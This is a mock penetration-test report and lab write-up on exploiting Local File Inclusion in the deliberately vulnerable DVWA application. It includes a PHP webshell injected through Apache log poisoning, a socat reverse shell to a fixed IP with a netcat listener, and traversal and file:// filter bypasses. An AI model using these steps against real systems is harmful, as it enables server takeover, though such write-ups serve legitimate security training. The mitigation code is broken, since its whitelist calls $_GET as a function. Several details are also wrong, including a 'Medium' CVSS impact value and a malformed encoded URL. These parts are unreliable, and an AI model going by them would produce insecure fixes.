File Inclusion Log Poisoning Rce
LFI Vulnerabiltiy Report
Table of Contents
- Outline
- Vulnerabiltiy Explanation
- Proof of Concept - Establishing a Reverse Shell
- Source Code Analysis
- Mitigating LFI Attacks
Outline
The goal of this write-up is to document and demonstrate Local File Inclusion (LFI) vulnerabilities chained with log poisoning attacks against the Damn Vulnerable Web Application (DVWA). The objective of this attack was to gain a Remote Code Execution (RCE) as www-data. This report mocks a penetration testing report and a debriefing situation to a client.
Vulnerabiltiy Explanation
Local File Inclusion (LFI) vulnerability is a security issue that occurs when a web application allows a user to include a file from the local file system. In this vulnerability, an attacker can manipulate the input parameters or the path of a file inclusion function to include arbitrary files on the server. On the other hand, Log Poisoning is a technique where an attacker manipulates or injects malicious content into log files generated by a web application.
In the described scenario, the tester successfully identified an LFI vulnerability in the web application. The tester then injected a payload into the log file using the Log Poisoning attack and triggered this payload to gain Remote Code Execution (RCE).
| Information | Explanation |
|---|---|
| Name | Local File Inclusion |
| Severity | High |
| CVSS | 8.1 |
| Path | http://127.0.0.1/vulnerabilities/fi |
The base CVSS was calculated upon the following metrics.
| Base Metrics | Explanations |
|---|---|
| Attack Vector (AV) | Network(N) The vulnerability can be exploited remotely over a network connection. |
| Attack Complexity (AC) | Low (L) The vulnerability is straightforward and requires minimal or no special knowledge. |
| Privilege Required (PR) | Low (L) The attack requires some privilege. The user has to login to DVWA webpage to conduct the exploit |
| User Intercation (UI) | Required (R) The vulnerability needs user interaction. |
| Scope (S) | Unchanged(S:U) An exploit can only affect the specific system |
| Confidentiality Impact (C) | Medium (M) The vulnerability has medium impact on the confidentiality of information. |
| Integrity Impact (I) | High (H) The vulnerability has a signigicant impact on the integrity of the information |
| Availability Impact (A) | High (H) The vulnerability has a significant impact on the availability of the system or resource. |
Proof of Concept
For the Proof of Concept (POC), the tester observed that the URL parameter page=file1.php was indicative of a LFI vulnerability. To confirm this, the tester removed the file1.php and appended ../../../../../etc/passwd. This action revealed the content of the /etc/passwd file in the web, demonstrating that the /etc/passwd file was indeed included and the web application was vulnerable to path traversal attacks.
Additionally, the tester checked for the Apache web server’s log file located in /var/log/apache2/access.log and confirmed its existence through LFI.
/var/log/apache2/access.log
With the backend technology identified as PHP, the tester proceeded to poison the log file. The tester first initiated a net cat session to connect to the web host.
nc -nv 172.17.0.1 80
Next, the tester sent a HTTP GET request to the web server to inject PHP executable code to the Apache log file.
GET /<?php system($_GET['cmd']); ?>
When the web application processes the log file, it treats the contents as plain text by default. This means that the injected PHP code (<?php system($_GET['cmd']); ?>) in the log file will be interpreted as executable code. The system() function is executed, which allowed the tester to run arbitrary shell commands with the parameter cmd. This can be verified by examining the access.log file. By accessing /var/log/apache2/access.log using path traversal techniques and inspecting the last log entry, it is observed that the GET request is visible while the injected PHP code remains invisible.
This confirms the successful injection, as the PHP executable code is interpreted as code and not treated as literal text.
Establishing a Reverse Shell
To establish a reverse shell, the tester utilized the following socat command.
socat tcp-connect:192.168.45.180:1234 exec:bash
For the server to correctly interpret and transmit the reverse shell, the URL was encoded as the following:
socat%20tcp-connect%3A192.168.45.180%3A1234%20exec%3Abash
The tester created a net cat listener to catch the reverse shell.
nc -nlvp 1234
Next, the encoded URL was appended to /var/log/apache2/access.log with the cme parameter as the following.
127.0.0.1/vulnerabilities/fi/?page=../../../../../../../var/log/apache2/access.log&cmd=socattcp-connect%3A192.168.45.180%3A1234exec%3Abash`
As seen below, the tester successfully received a reverse shell.
Source Code Analysis
Security-Low-Level
In the Security-Low-Level module, there is a vulnerability that allows attackers to manipulate the page parameter. They can specify a file path on the server and potentially include its contents. For instance, an attacker could provide a value like ../../etc/passwd as the page parameter. This value utilizes relative path traversal (../) to navigate to parent directories and access the /etc/passwd file, which contains user account details. The $_GET variable, which holds user-supplied input, is not properly validated or sanitized, resulting in security vulnerabilities such as cross-site scripting (XSS) or local file inclusion (LFI). Therefore, it is of prime importance to implement user input validation and user input sanitization to prevent further attack vectors such as remote code execution.
Security-Medium-Level
In the Security-Medium-Level module, there are minimal security measures in place to sanitize user input. The developers have used the PHP str_replace function to replace instances of ../ and ..\ with an empty string '' in an attempt to prevent path traversal attacks for local file inclusion. However, this approach does not effectively safeguard against path traversal attacks. An example is when the input string is ....//. The prevention code would replace ../ in the middle but leave the substring at the end ../ intact. Consequently, this sanitization method can be bypassed by adding extra ../ notations, allowing successful payloads such as ....//....//....//....//var/log/apache2/access.log.
The same technique can also be utilized to obtain a reverse shell, further emphasizing the vulnerability of this code snippet.
Security-High-Level
In the Security-High-Level module, the developers implemented a measure to ensure that the included file begins with a specific value. The condition !fnmatch( "file*", $file ) checks if the $file variable starts with the string "file". If it does not, an error is returned. However, this security measure could be bypassed by utilizing the file scheme (file://), which is a Uniform Resource Identifier (URI) scheme used to directly access files on the local file system. This scheme allows unrestricted access to files, including those not starting with file. As a result, the tester was able to include any desired files by utilizing the file scheme. The following payload successfully retrieved the access.log file: ?page=file:///../../../../var/log/apache2/access.log.
Mitigating LFI Attacks
Restrict File Permissions
Ensure that file permissions are properly set on the server. Limit access permissions of files and directories to the minimum required for the application to function properly. For instance, log poisoning can be prevented by removing permissions for ‘Other users’ on the ‘apache2’ directory.
chmod o= apache2
drwxr-x--- 1 root adm 4096 Oct 12 2018 apache2
If the operating system follows the recommended strict permissions inheritance, ‘Other users’ would not be able to read, write, or execute the access.log file, which is a sub-file of the apache2 directory. This is because sub-directories and files follow the characteristic of parent directories. As a result, this prevents chained log poisoning attacks.
Strict permission inheritance can be maintained by using the -R option with chmod, which allows owners to recursively set permissions on directories and their contents. Following is an example on recursively setting permissions on the apache2 directory:
chmod -R 750 apache2
Whitelist Approach:
Maintain a whitelist of allowed files or directories that can be included by the application. Only include files that are explicitly defined in the whitelist. Only trusted and intended files are included.
```php
// Create a White list.
$allowedFiles = array(
'file1.php',
'file2.php',
'file3.php',
'index.php',
);
$file = $_GET['page'];
// Check if the requested file is in the whitelist
if (in_array($file, $allowedFiles)) {
$_GET($file);
}
Web Application Firewall (WAF):
Implement a Web Application Firewall (WAF) that can detect and block suspicious or malicious requests, including attempts to perform LFI attacks. A WAF can provide an additional layer of defense by inspecting and filtering incoming traffic. Configure a WAF to monitor and block requests that contain directory traversal patterns or suspicious file inclusion attempts.
Rule ID: 100001
Rule Name: Directory Traversal Protection
Rule Action: Block
Rule Pattern: /../
In conclusion, LFI attacks mitigations require implementing a combination of security measures. Restricting file permissions is essential to limit access to sensitive files and directories, preventing unauthorized access. In addition, a robust a whitelist approach ensures that only trusted and intended files are included by the application, reducing the risk of including malicious files. Implementing a Web Application Firewall (WAF) adds an additional layer of defense by detecting and blocking suspicious requests, including those attempting LFI attacks.